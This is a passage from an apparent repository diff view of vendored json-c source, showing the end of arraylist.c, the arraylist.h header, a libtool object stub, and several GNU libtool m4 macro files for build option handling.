int (*compar)(const void *, const void *))
{
return bsearch(key, arr->array, arr->length, sizeof(arr->array[0]),
compar);
}
size_t
array_list_length(struct array_list *arr)
{
return arr->length;
}
int
array_list_del_idx( struct array_list *arr, size_t idx, size_t count )
{
size_t i, stop;
stop = idx + count;
if ( idx >= arr->length || stop > arr->length ) return -1;
for ( i = idx; i < stop; ++i ) {
if ( arr->array[i] ) arr->free_fn( arr->array[i] );
}
memmove( arr->array + idx, arr->array + stop, (arr->length - stop) * sizeof(void*) );
arr->length -= count;
return 0;
}

View File

@ -0,0 +1,70 @@
/*
* $Id: arraylist.h,v 1.4 2006/01/26 02:16:28 mclark Exp $
*
* Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
* Michael Clark <michael@metaparadigm.com>
*
* This library is free software; you can redistribute it and/or modify
* it under the terms of the MIT license. See COPYING for details.
*
*/
/**
* @file
* @brief Internal methods for working with json_type_array objects.
* Although this is exposed by the json_object_get_array() method,
* it is not recommended for direct use.
*/
#ifndef _arraylist_h_
#define _arraylist_h_
#ifdef __cplusplus
extern "C" {
#endif
#define ARRAY_LIST_DEFAULT_SIZE 32
typedef void (array_list_free_fn) (void *data);
struct array_list
{
void **array;
size_t length;
size_t size;
array_list_free_fn *free_fn;
};
typedef struct array_list array_list;
extern struct array_list*
array_list_new(array_list_free_fn *free_fn);
extern void
array_list_free(struct array_list *al);
extern void*
array_list_get_idx(struct array_list *al, size_t i);
extern int
array_list_put_idx(struct array_list *al, size_t i, void *data);
extern int
array_list_add(struct array_list *al, void *data);
extern size_t
array_list_length(struct array_list *al);
extern void
array_list_sort(struct array_list *arr, int(*compar)(const void *, const void *));
extern void*
array_list_bsearch(const void **key, struct array_list *arr,
int (*compar)(const void *, const void *));
extern int
array_list_del_idx(struct array_list *arr, size_t idx, size_t count);
#ifdef __cplusplus
}
#endif
#endif

View File

@ -0,0 +1,12 @@
# arraylist.lo - a libtool object file
# Generated by libtool (GNU libtool) 2.4.6 Debian-2.4.6-2
#
# Please DO NOT delete this file!
# It is necessary for linking the library.
# Name of the PIC object.
pic_object='.libs/arraylist.o'
# Name of the non-PIC object
non_pic_object=none

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,437 @@
# Helper functions for option handling. -*- Autoconf -*-
#
# Copyright (C) 2004-2005, 2007-2009, 2011-2015 Free Software
# Foundation, Inc.
# Written by Gary V. Vaughan, 2004
#
# This file is free software; the Free Software Foundation gives
# unlimited permission to copy and/or distribute it, with or without
# modifications, as long as this notice is preserved.
# serial 8 ltoptions.m4
# This is to help aclocal find these macros, as it can't see m4_define.
AC_DEFUN([LTOPTIONS_VERSION], [m4_if([1])])
# _LT_MANGLE_OPTION(MACRO-NAME, OPTION-NAME)
# ------------------------------------------
m4_define([_LT_MANGLE_OPTION],
[[_LT_OPTION_]m4_bpatsubst($1__$2, [[^a-zA-Z0-9_]], [_])])
# _LT_SET_OPTION(MACRO-NAME, OPTION-NAME)
# ---------------------------------------
# Set option OPTION-NAME for macro MACRO-NAME, and if there is a
# matching handler defined, dispatch to it. Other OPTION-NAMEs are
# saved as a flag.
m4_define([_LT_SET_OPTION],
[m4_define(_LT_MANGLE_OPTION([$1], [$2]))dnl
m4_ifdef(_LT_MANGLE_DEFUN([$1], [$2]),
_LT_MANGLE_DEFUN([$1], [$2]),
[m4_warning([Unknown $1 option '$2'])])[]dnl
])
# _LT_IF_OPTION(MACRO-NAME, OPTION-NAME, IF-SET, [IF-NOT-SET])
# ------------------------------------------------------------
# Execute IF-SET if OPTION is set, IF-NOT-SET otherwise.
m4_define([_LT_IF_OPTION],
[m4_ifdef(_LT_MANGLE_OPTION([$1], [$2]), [$3], [$4])])
# _LT_UNLESS_OPTIONS(MACRO-NAME, OPTION-LIST, IF-NOT-SET)
# -------------------------------------------------------
# Execute IF-NOT-SET unless all options in OPTION-LIST for MACRO-NAME
# are set.
m4_define([_LT_UNLESS_OPTIONS],
[m4_foreach([_LT_Option], m4_split(m4_normalize([$2])),
[m4_ifdef(_LT_MANGLE_OPTION([$1], _LT_Option),
[m4_define([$0_found])])])[]dnl
m4_ifdef([$0_found], [m4_undefine([$0_found])], [$3
])[]dnl
])
# _LT_SET_OPTIONS(MACRO-NAME, OPTION-LIST)
# ----------------------------------------
# OPTION-LIST is a space-separated list of Libtool options associated
# with MACRO-NAME. If any OPTION has a matching handler declared with
# LT_OPTION_DEFINE, dispatch to that macro; otherwise complain about
# the unknown option and exit.
m4_defun([_LT_SET_OPTIONS],
[# Set options
m4_foreach([_LT_Option], m4_split(m4_normalize([$2])),
[_LT_SET_OPTION([$1], _LT_Option)])
m4_if([$1],[LT_INIT],[
dnl
dnl Simply set some default values (i.e off) if boolean options were not
dnl specified:
_LT_UNLESS_OPTIONS([LT_INIT], [dlopen], [enable_dlopen=no
])
_LT_UNLESS_OPTIONS([LT_INIT], [win32-dll], [enable_win32_dll=no
])
dnl
dnl If no reference was made to various pairs of opposing options, then
dnl we run the default mode handler for the pair. For example, if neither
dnl 'shared' nor 'disable-shared' was passed, we enable building of shared
dnl archives by default:
_LT_UNLESS_OPTIONS([LT_INIT], [shared disable-shared], [_LT_ENABLE_SHARED])
_LT_UNLESS_OPTIONS([LT_INIT], [static disable-static], [_LT_ENABLE_STATIC])
_LT_UNLESS_OPTIONS([LT_INIT], [pic-only no-pic], [_LT_WITH_PIC])
_LT_UNLESS_OPTIONS([LT_INIT], [fast-install disable-fast-install],
[_LT_ENABLE_FAST_INSTALL])
_LT_UNLESS_OPTIONS([LT_INIT], [aix-soname=aix aix-soname=both aix-soname=svr4],
[_LT_WITH_AIX_SONAME([aix])])
])
])# _LT_SET_OPTIONS
## --------------------------------- ##
## Macros to handle LT_INIT options. ##
## --------------------------------- ##
# _LT_MANGLE_DEFUN(MACRO-NAME, OPTION-NAME)
# -----------------------------------------
m4_define([_LT_MANGLE_DEFUN],
[[_LT_OPTION_DEFUN_]m4_bpatsubst(m4_toupper([$1__$2]), [[^A-Z0-9_]], [_])])
# LT_OPTION_DEFINE(MACRO-NAME, OPTION-NAME, CODE)
# -----------------------------------------------
m4_define([LT_OPTION_DEFINE],
[m4_define(_LT_MANGLE_DEFUN([$1], [$2]), [$3])[]dnl
])# LT_OPTION_DEFINE
# dlopen
# ------
LT_OPTION_DEFINE([LT_INIT], [dlopen], [enable_dlopen=yes
])
AU_DEFUN([AC_LIBTOOL_DLOPEN],
[_LT_SET_OPTION([LT_INIT], [dlopen])
AC_DIAGNOSE([obsolete],
[$0: Remove this warning and the call to _LT_SET_OPTION when you
put the 'dlopen' option into LT_INIT's first parameter.])
])
dnl aclocal-1.4 backwards compatibility:
dnl AC_DEFUN([AC_LIBTOOL_DLOPEN], [])
# win32-dll
# ---------
# Declare package support for building win32 dll's.
LT_OPTION_DEFINE([LT_INIT], [win32-dll],
[enable_win32_dll=yes
case $host in
*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-cegcc*)
AC_CHECK_TOOL(AS, as, false)
AC_CHECK_TOOL(DLLTOOL, dlltool, false)
AC_CHECK_TOOL(OBJDUMP, objdump, false)
;;
esac
test -z "$AS" && AS=as
_LT_DECL([], [AS], [1], [Assembler program])dnl
test -z "$DLLTOOL" && DLLTOOL=dlltool
_LT_DECL([], [DLLTOOL], [1], [DLL creation program])dnl
test -z "$OBJDUMP" && OBJDUMP=objdump
_LT_DECL([], [OBJDUMP], [1], [Object dumper program])dnl
])# win32-dll
AU_DEFUN([AC_LIBTOOL_WIN32_DLL],
[AC_REQUIRE([AC_CANONICAL_HOST])dnl
_LT_SET_OPTION([LT_INIT], [win32-dll])
AC_DIAGNOSE([obsolete],
[$0: Remove this warning and the call to _LT_SET_OPTION when you
put the 'win32-dll' option into LT_INIT's first parameter.])
])
dnl aclocal-1.4 backwards compatibility:
dnl AC_DEFUN([AC_LIBTOOL_WIN32_DLL], [])
# _LT_ENABLE_SHARED([DEFAULT])
# ----------------------------
# implement the --enable-shared flag, and supports the 'shared' and
# 'disable-shared' LT_INIT options.
# DEFAULT is either 'yes' or 'no'. If omitted, it defaults to 'yes'.
m4_define([_LT_ENABLE_SHARED],
[m4_define([_LT_ENABLE_SHARED_DEFAULT], [m4_if($1, no, no, yes)])dnl
AC_ARG_ENABLE([shared],
[AS_HELP_STRING([--enable-shared@<:@=PKGS@:>@],
[build shared libraries @<:@default=]_LT_ENABLE_SHARED_DEFAULT[@:>@])],
[p=${PACKAGE-default}
case $enableval in
yes) enable_shared=yes ;;
no) enable_shared=no ;;
*)
enable_shared=no
# Look at the argument we got. We use all the common list separators.
lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR,
for pkg in $enableval; do
IFS=$lt_save_ifs
if test "X$pkg" = "X$p"; then
enable_shared=yes
fi
done
IFS=$lt_save_ifs
;;
esac],
[enable_shared=]_LT_ENABLE_SHARED_DEFAULT)
_LT_DECL([build_libtool_libs], [enable_shared], [0],
[Whether or not to build shared libraries])
])# _LT_ENABLE_SHARED
LT_OPTION_DEFINE([LT_INIT], [shared], [_LT_ENABLE_SHARED([yes])])
LT_OPTION_DEFINE([LT_INIT], [disable-shared], [_LT_ENABLE_SHARED([no])])
# Old names:
AC_DEFUN([AC_ENABLE_SHARED],
[_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[shared])
])
AC_DEFUN([AC_DISABLE_SHARED],
[_LT_SET_OPTION([LT_INIT], [disable-shared])
])
AU_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)])
AU_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)])
dnl aclocal-1.4 backwards compatibility:
dnl AC_DEFUN([AM_ENABLE_SHARED], [])
dnl AC_DEFUN([AM_DISABLE_SHARED], [])
# _LT_ENABLE_STATIC([DEFAULT])
# ----------------------------
# implement the --enable-static flag, and support the 'static' and
# 'disable-static' LT_INIT options.
# DEFAULT is either 'yes' or 'no'. If omitted, it defaults to 'yes'.
m4_define([_LT_ENABLE_STATIC],
[m4_define([_LT_ENABLE_STATIC_DEFAULT], [m4_if($1, no, no, yes)])dnl
AC_ARG_ENABLE([static],
[AS_HELP_STRING([--enable-static@<:@=PKGS@:>@],
[build static libraries @<:@default=]_LT_ENABLE_STATIC_DEFAULT[@:>@])],
[p=${PACKAGE-default}
case $enableval in
yes) enable_static=yes ;;
no) enable_static=no ;;
*)
enable_static=no
# Look at the argument we got. We use all the common list separators.
lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR,
for pkg in $enableval; do
IFS=$lt_save_ifs
if test "X$pkg" = "X$p"; then
enable_static=yes
fi
done
IFS=$lt_save_ifs
;;
esac],
[enable_static=]_LT_ENABLE_STATIC_DEFAULT)
_LT_DECL([build_old_libs], [enable_static], [0],
[Whether or not to build static libraries])
])# _LT_ENABLE_STATIC
LT_OPTION_DEFINE([LT_INIT], [static], [_LT_ENABLE_STATIC([yes])])
LT_OPTION_DEFINE([LT_INIT], [disable-static], [_LT_ENABLE_STATIC([no])])
# Old names:
AC_DEFUN([AC_ENABLE_STATIC],
[_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[static])
])
AC_DEFUN([AC_DISABLE_STATIC],
[_LT_SET_OPTION([LT_INIT], [disable-static])
])
AU_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)])
AU_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)])
dnl aclocal-1.4 backwards compatibility:
dnl AC_DEFUN([AM_ENABLE_STATIC], [])
dnl AC_DEFUN([AM_DISABLE_STATIC], [])
# _LT_ENABLE_FAST_INSTALL([DEFAULT])
# ----------------------------------
# implement the --enable-fast-install flag, and support the 'fast-install'
# and 'disable-fast-install' LT_INIT options.
# DEFAULT is either 'yes' or 'no'. If omitted, it defaults to 'yes'.
m4_define([_LT_ENABLE_FAST_INSTALL],
[m4_define([_LT_ENABLE_FAST_INSTALL_DEFAULT], [m4_if($1, no, no, yes)])dnl
AC_ARG_ENABLE([fast-install],
[AS_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@],
[optimize for fast installation @<:@default=]_LT_ENABLE_FAST_INSTALL_DEFAULT[@:>@])],
[p=${PACKAGE-default}
case $enableval in
yes) enable_fast_install=yes ;;
no) enable_fast_install=no ;;
*)
enable_fast_install=no
# Look at the argument we got. We use all the common list separators.
lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR,
for pkg in $enableval; do
IFS=$lt_save_ifs
if test "X$pkg" = "X$p"; then
enable_fast_install=yes
fi
done
IFS=$lt_save_ifs
;;
esac],
[enable_fast_install=]_LT_ENABLE_FAST_INSTALL_DEFAULT)
_LT_DECL([fast_install], [enable_fast_install], [0],
[Whether or not to optimize for fast installation])dnl
])# _LT_ENABLE_FAST_INSTALL
LT_OPTION_DEFINE([LT_INIT], [fast-install], [_LT_ENABLE_FAST_INSTALL([yes])])
LT_OPTION_DEFINE([LT_INIT], [disable-fast-install], [_LT_ENABLE_FAST_INSTALL([no])])
# Old names:
AU_DEFUN([AC_ENABLE_FAST_INSTALL],
[_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[fast-install])
AC_DIAGNOSE([obsolete],
[$0: Remove this warning and the call to _LT_SET_OPTION when you put
the 'fast-install' option into LT_INIT's first parameter.])
])
AU_DEFUN([AC_DISABLE_FAST_INSTALL],
[_LT_SET_OPTION([LT_INIT], [disable-fast-install])
AC_DIAGNOSE([obsolete],
[$0: Remove this warning and the call to _LT_SET_OPTION when you put
the 'disable-fast-install' option into LT_INIT's first parameter.])
])
dnl aclocal-1.4 backwards compatibility:
dnl AC_DEFUN([AC_ENABLE_FAST_INSTALL], [])
dnl AC_DEFUN([AM_DISABLE_FAST_INSTALL], [])
# _LT_WITH_AIX_SONAME([DEFAULT])
# ----------------------------------
# implement the --with-aix-soname flag, and support the `aix-soname=aix'
# and `aix-soname=both' and `aix-soname=svr4' LT_INIT options. DEFAULT
# is either `aix', `both' or `svr4'. If omitted, it defaults to `aix'.
m4_define([_LT_WITH_AIX_SONAME],
[m4_define([_LT_WITH_AIX_SONAME_DEFAULT], [m4_if($1, svr4, svr4, m4_if($1, both, both, aix))])dnl
shared_archive_member_spec=
case $host,$enable_shared in
power*-*-aix[[5-9]]*,yes)
AC_MSG_CHECKING([which variant of shared library versioning to provide])
AC_ARG_WITH([aix-soname],
[AS_HELP_STRING([--with-aix-soname=aix|svr4|both],
[shared library versioning (aka "SONAME") variant to provide on AIX, @<:@default=]_LT_WITH_AIX_SONAME_DEFAULT[@:>@.])],
[case $withval in
aix|svr4|both)
;;
*)
AC_MSG_ERROR([Unknown argument to --with-aix-soname])
;;
esac
lt_cv_with_aix_soname=$with_aix_soname],
[AC_CACHE_VAL([lt_cv_with_aix_soname],
[lt_cv_with_aix_soname=]_LT_WITH_AIX_SONAME_DEFAULT)
with_aix_soname=$lt_cv_with_aix_soname])
AC_MSG_RESULT([$with_aix_soname])
if test aix != "$with_aix_soname"; then
# For the AIX way of multilib, we name the shared archive member
# based on the bitwidth used, traditionally 'shr.o' or 'shr_64.o',
# and 'shr.imp' or 'shr_64.imp', respectively, for the Import File.
# Even when GNU compilers ignore OBJECT_MODE but need '-maix64' flag,
# the AIX toolchain works better with OBJECT_MODE set (default 32).
if test 64 = "${OBJECT_MODE-32}"; then
shared_archive_member_spec=shr_64
else
shared_archive_member_spec=shr
fi
fi
;;
*)
with_aix_soname=aix
;;
esac
_LT_DECL([], [shared_archive_member_spec], [0],
[Shared archive member basename, for filename based shared library versioning on AIX])dnl
])# _LT_WITH_AIX_SONAME
LT_OPTION_DEFINE([LT_INIT], [aix-soname=aix], [_LT_WITH_AIX_SONAME([aix])])
LT_OPTION_DEFINE([LT_INIT], [aix-soname=both], [_LT_WITH_AIX_SONAME([both])])
LT_OPTION_DEFINE([LT_INIT], [aix-soname=svr4], [_LT_WITH_AIX_SONAME([svr4])])
# _LT_WITH_PIC([MODE])
# --------------------
# implement the --with-pic flag, and support the 'pic-only' and 'no-pic'
# LT_INIT options.
# MODE is either 'yes' or 'no'. If omitted, it defaults to 'both'.
m4_define([_LT_WITH_PIC],
[AC_ARG_WITH([pic],
[AS_HELP_STRING([--with-pic@<:@=PKGS@:>@],
[try to use only PIC/non-PIC objects @<:@default=use both@:>@])],
[lt_p=${PACKAGE-default}
case $withval in
yes|no) pic_mode=$withval ;;
*)
pic_mode=default
# Look at the argument we got. We use all the common list separators.
lt_save_ifs=$IFS; IFS=$IFS$PATH_SEPARATOR,
for lt_pkg in $withval; do
IFS=$lt_save_ifs
if test "X$lt_pkg" = "X$lt_p"; then
pic_mode=yes
fi
done
IFS=$lt_save_ifs
;;
esac],
[pic_mode=m4_default([$1], [default])])
_LT_DECL([], [pic_mode], [0], [What type of objects to build])dnl
])# _LT_WITH_PIC
LT_OPTION_DEFINE([LT_INIT], [pic-only], [_LT_WITH_PIC([yes])])
LT_OPTION_DEFINE([LT_INIT], [no-pic], [_LT_WITH_PIC([no])])
# Old name:
AU_DEFUN([AC_LIBTOOL_PICMODE],
[_LT_SET_OPTION([LT_INIT], [pic-only])
AC_DIAGNOSE([obsolete],
[$0: Remove this warning and the call to _LT_SET_OPTION when you
put the 'pic-only' option into LT_INIT's first parameter.])
])
dnl aclocal-1.4 backwards compatibility:
dnl AC_DEFUN([AC_LIBTOOL_PICMODE], [])
## ----------------- ##
## LTDL_INIT Options ##
## ----------------- ##
m4_define([_LTDL_MODE], [])
LT_OPTION_DEFINE([LTDL_INIT], [nonrecursive],
[m4_define([_LTDL_MODE], [nonrecursive])])
LT_OPTION_DEFINE([LTDL_INIT], [recursive],
[m4_define([_LTDL_MODE], [recursive])])
LT_OPTION_DEFINE([LTDL_INIT], [subproject],
[m4_define([_LTDL_MODE], [subproject])])
m4_define([_LTDL_TYPE], [])
LT_OPTION_DEFINE([LTDL_INIT], [installable],
[m4_define([_LTDL_TYPE], [installable])])
LT_OPTION_DEFINE([LTDL_INIT], [convenience],
[m4_define([_LTDL_TYPE], [convenience])])

View File

@ -0,0 +1,124 @@
# ltsugar.m4 -- libtool m4 base layer. -*-Autoconf-*-
#
# Copyright (C) 2004-2005, 2007-2008, 2011-2015 Free Software
# Foundation, Inc.
# Written by Gary V. Vaughan, 2004
#
# This file is free software; the Free Software Foundation gives
# unlimited permission to copy and/or distribute it, with or without
# modifications, as long as this notice is preserved.
# serial 6 ltsugar.m4
# This is to help aclocal find these macros, as it can't see m4_define.
AC_DEFUN([LTSUGAR_VERSION], [m4_if([0.1])])
# lt_join(SEP, ARG1, [ARG2...])
# -----------------------------
# Produce ARG1SEPARG2...SEPARGn, omitting [] arguments and their
# associated separator.
# Needed until we can rely on m4_join from Autoconf 2.62, since all earlier
# versions in m4sugar had bugs.
m4_define([lt_join],
[m4_if([$#], [1], [],
[$#], [2], [[$2]],
[m4_if([$2], [], [], [[$2]_])$0([$1], m4_shift(m4_shift($@)))])])
m4_define([_lt_join],
[m4_if([$#$2], [2], [],
[m4_if([$2], [], [], [[$1$2]])$0([$1], m4_shift(m4_shift($@)))])])
# lt_car(LIST)
# lt_cdr(LIST)
# ------------
# Manipulate m4 lists.
# These macros are necessary as long as will still need to support
# Autoconf-2.59, which quotes differently.
m4_define([lt_car], [[$1]])
m4_define([lt_cdr],
[m4_if([$#], 0, [m4_fatal([$0: cannot be called without arguments])],
[$#], 1, [],
[m4_dquote(m4_shift($@))])])
m4_define([lt_unquote], $1)
# lt_append(MACRO-NAME, STRING, [SEPARATOR])
# ------------------------------------------
# Redefine MACRO-NAME to hold its former content plus 'SEPARATOR''STRING'.
# Note that neither SEPARATOR nor STRING are expanded; they are appended
# to MACRO-NAME as is (leaving the expansion for when MACRO-NAME is invoked).
# No SEPARATOR is output if MACRO-NAME was previously undefined (different
# than defined and empty).
#
# This macro is needed until we can rely on Autoconf 2.62, since earlier
# versions of m4sugar mistakenly expanded SEPARATOR but not STRING.
m4_define([lt_append],
[m4_define([$1],
m4_ifdef([$1], [m4_defn([$1])[$3]])[$2])])
# lt_combine(SEP, PREFIX-LIST, INFIX, SUFFIX1, [SUFFIX2...])
# ----------------------------------------------------------
# Produce a SEP delimited list of all paired combinations of elements of
# PREFIX-LIST with SUFFIX1 through SUFFIXn. Each element of the list
# has the form PREFIXmINFIXSUFFIXn.
# Needed until we can rely on m4_combine added in Autoconf 2.62.
m4_define([lt_combine],
[m4_if(m4_eval([$# > 3]), [1],
[m4_pushdef([_Lt_sep], [m4_define([_Lt_sep], m4_defn([lt_car]))])]]dnl
[[m4_foreach([_Lt_prefix], [$2],
[m4_foreach([_Lt_suffix],
]m4_dquote(m4_dquote(m4_shift(m4_shift(m4_shift($@)))))[,
[_Lt_sep([$1])[]m4_defn([_Lt_prefix])[$3]m4_defn([_Lt_suffix])])])])])
# lt_if_append_uniq(MACRO-NAME, VARNAME, [SEPARATOR], [UNIQ], [NOT-UNIQ])
# -----------------------------------------------------------------------
# Iff MACRO-NAME does not yet contain VARNAME, then append it (delimited
# by SEPARATOR if supplied) and expand UNIQ, else NOT-UNIQ.
m4_define([lt_if_append_uniq],
[m4_ifdef([$1],
[m4_if(m4_index([$3]m4_defn([$1])[$3], [$3$2$3]), [-1],
[lt_append([$1], [$2], [$3])$4],
[$5])],
[lt_append([$1], [$2], [$3])$4])])
# lt_dict_add(DICT, KEY, VALUE)
# -----------------------------
m4_define([lt_dict_add],
[m4_define([$1($2)], [$3])])
# lt_dict_add_subkey(DICT, KEY, SUBKEY, VALUE)
# --------------------------------------------
m4_define([lt_dict_add_subkey],
[m4_define([$1($2:$3)], [$4])])
# lt_dict_fetch(DICT, KEY, [SUBKEY])
# ----------------------------------
m4_define([lt_dict_fetch],
[m4_ifval([$3],
m4_ifdef([$1($2:$3)], [m4_defn([$1($2:$3)])]),
m4_ifdef([$1($2)], [m4_defn([$1($2)])]))])
# lt_if_dict_fetch(DICT, KEY, [SUBKEY], VALUE, IF-TRUE, [IF-FALSE])
# -----------------------------------------------------------------
m4_define([lt_if_dict_fetch],
[m4_if(lt_dict_fetch([$1], [$2], [$3]), [$4],
[$5],
[$6])])
# lt_dict_filter(DICT, [SUBKEY], VALUE, [SEPARATOR], KEY, [...])
# --------------------------------------------------------------
m4_define([lt_dict_filter],
[m4_if([$5], [], [],
[lt_join(m4_quote(m4_default([$4], [[, ]])),
lt_unquote(m4_split(m4_normalize(m4_foreach(_Lt_key, lt_car([m4_shiftn(4, $@)]),
[lt_if_dict_fetch([$1], _Lt_key, [$2], [$3], [_Lt_key ])])))))])[]dnl
])

View File

@ -0,0 +1,23 @@
# ltversion.m4 -- version numbers -*- Autoconf -*-
#
# Copyright (C) 2004, 2011-2015 Free Software Foundation, Inc.
# Written by Scott James Remnant, 2004
#
# This file is free software; the Free Software Foundation gives
# unlimited permission to copy and/or distribute it, with or without
# modifications, as long as this notice is preserved.
# @configure_input@
# serial 4179 ltversion.m4
# This file is part of GNU Libtool
m4_define([LT_PACKAGE_VERSION], [2.4.6])
m4_define([LT_PACKAGE_REVISION], [2.4.6])
AC_DEFUN([LTVERSION_VERSION],
[macro_version='2.4.6'
macro_revision='2.4.6'
_LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?])
_LT_DECL(, macro_revision, 0)
])

View File

@ -0,0 +1,99 @@
# lt~obsolete.m4 -- aclocal satisfying obsolete definitions. -*-Autoconf-*-
#
# Copyright (C) 2004-2005, 2007, 2009, 2011-2015 Free Software
# Foundation, Inc.
# Written by Scott James Remnant, 2004.
#
# This file is free software; the Free Software Foundation gives
# unlimited permission to copy and/or distribute it, with or without
# modifications, as long as this notice is preserved.
# serial 5 lt~obsolete.m4
# These exist entirely to fool aclocal when bootstrapping libtool.
#
# In the past libtool.m4 has provided macros via AC_DEFUN (or AU_DEFUN),
# which have later been changed to m4_define as they aren't part of the
# exported API, or moved to Autoconf or Automake where they belong.
#
# The trouble is, aclocal is a bit thick. It'll see the old AC_DEFUN
# in /usr/share/aclocal/libtool.m4 and remember it, then when it sees us
# using a macro with the same name in our local m4/libtool.m4 it'll
# pull the old libtool.m4 in (it doesn't see our shiny new m4_define
# and doesn't know about Autoconf macros at all.)
#
# So we provide this file, which has a silly filename so it's always
# included after everything else. This provides aclocal with the
# AC_DEFUNs it wants, but when m4 processes it, it doesn't do anything
# because those macros already exist, or will be overwritten later.
# We use AC_DEFUN over AU_DEFUN for compatibility with aclocal-1.6.
#
# Anytime we withdraw an AC_DEFUN or AU_DEFUN, remember to add it here.
# Yes, that means every name once taken will need to remain here until
# we give up compatibility with versions before 1.7, at which point
# we need to keep only those names which we still refer to.
# This is to help aclocal find these macros, as it can't see m4_define.
AC_DEFUN([LTOBSOLETE_VERSION], [m4_if([1])])
m4_ifndef([AC_LIBTOOL_LINKER_OPTION], [AC_DEFUN([AC_LIBTOOL_LINKER_OPTION])])
m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP])])
m4_ifndef([_LT_AC_PROG_ECHO_BACKSLASH], [AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH])])
m4_ifndef([_LT_AC_SHELL_INIT], [AC_DEFUN([_LT_AC_SHELL_INIT])])
m4_ifndef([_LT_AC_SYS_LIBPATH_AIX], [AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX])])
m4_ifndef([_LT_PROG_LTMAIN], [AC_DEFUN([_LT_PROG_LTMAIN])])
m4_ifndef([_LT_AC_TAGVAR], [AC_DEFUN([_LT_AC_TAGVAR])])
m4_ifndef([AC_LTDL_ENABLE_INSTALL], [AC_DEFUN([AC_LTDL_ENABLE_INSTALL])])
m4_ifndef([AC_LTDL_PREOPEN], [AC_DEFUN([AC_LTDL_PREOPEN])])
m4_ifndef([_LT_AC_SYS_COMPILER], [AC_DEFUN([_LT_AC_SYS_COMPILER])])
m4_ifndef([_LT_AC_LOCK], [AC_DEFUN([_LT_AC_LOCK])])
m4_ifndef([AC_LIBTOOL_SYS_OLD_ARCHIVE], [AC_DEFUN([AC_LIBTOOL_SYS_OLD_ARCHIVE])])
m4_ifndef([_LT_AC_TRY_DLOPEN_SELF], [AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF])])
m4_ifndef([AC_LIBTOOL_PROG_CC_C_O], [AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O])])
m4_ifndef([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], [AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS])])
m4_ifndef([AC_LIBTOOL_OBJDIR], [AC_DEFUN([AC_LIBTOOL_OBJDIR])])
m4_ifndef([AC_LTDL_OBJDIR], [AC_DEFUN([AC_LTDL_OBJDIR])])
m4_ifndef([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], [AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH])])
m4_ifndef([AC_LIBTOOL_SYS_LIB_STRIP], [AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP])])
m4_ifndef([AC_PATH_MAGIC], [AC_DEFUN([AC_PATH_MAGIC])])
m4_ifndef([AC_PROG_LD_GNU], [AC_DEFUN([AC_PROG_LD_GNU])])
m4_ifndef([AC_PROG_LD_RELOAD_FLAG], [AC_DEFUN([AC_PROG_LD_RELOAD_FLAG])])
m4_ifndef([AC_DEPLIBS_CHECK_METHOD], [AC_DEFUN([AC_DEPLIBS_CHECK_METHOD])])
m4_ifndef([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI])])
m4_ifndef([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], [AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE])])
m4_ifndef([AC_LIBTOOL_PROG_COMPILER_PIC], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC])])
m4_ifndef([AC_LIBTOOL_PROG_LD_SHLIBS], [AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS])])
m4_ifndef([AC_LIBTOOL_POSTDEP_PREDEP], [AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP])])
m4_ifndef([LT_AC_PROG_EGREP], [AC_DEFUN([LT_AC_PROG_EGREP])])
m4_ifndef([LT_AC_PROG_SED], [AC_DEFUN([LT_AC_PROG_SED])])
m4_ifndef([_LT_CC_BASENAME], [AC_DEFUN([_LT_CC_BASENAME])])
m4_ifndef([_LT_COMPILER_BOILERPLATE], [AC_DEFUN([_LT_COMPILER_BOILERPLATE])])
m4_ifndef([_LT_LINKER_BOILERPLATE], [AC_DEFUN([_LT_LINKER_BOILERPLATE])])
m4_ifndef([_AC_PROG_LIBTOOL], [AC_DEFUN([_AC_PROG_LIBTOOL])])
m4_ifndef([AC_LIBTOOL_SETUP], [AC_DEFUN([AC_LIBTOOL_SETUP])])
m4_ifndef([_LT_AC_CHECK_DLFCN], [AC_DEFUN([_LT_AC_CHECK_DLFCN])])
m4_ifndef([AC_LIBTOOL_SYS_DYNAMIC_LINKER], [AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER])])
m4_ifndef([_LT_AC_TAGCONFIG], [AC_DEFUN([_LT_AC_TAGCONFIG])])
m4_ifndef([AC_DISABLE_FAST_INSTALL], [AC_DEFUN([AC_DISABLE_FAST_INSTALL])])
m4_ifndef([_LT_AC_LANG_CXX], [AC_DEFUN([_LT_AC_LANG_CXX])])
m4_ifndef([_LT_AC_LANG_F77], [AC_DEFUN([_LT_AC_LANG_F77])])
m4_ifndef([_LT_AC_LANG_GCJ], [AC_DEFUN([_LT_AC_LANG_GCJ])])
m4_ifndef([AC_LIBTOOL_LANG_C_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG])])
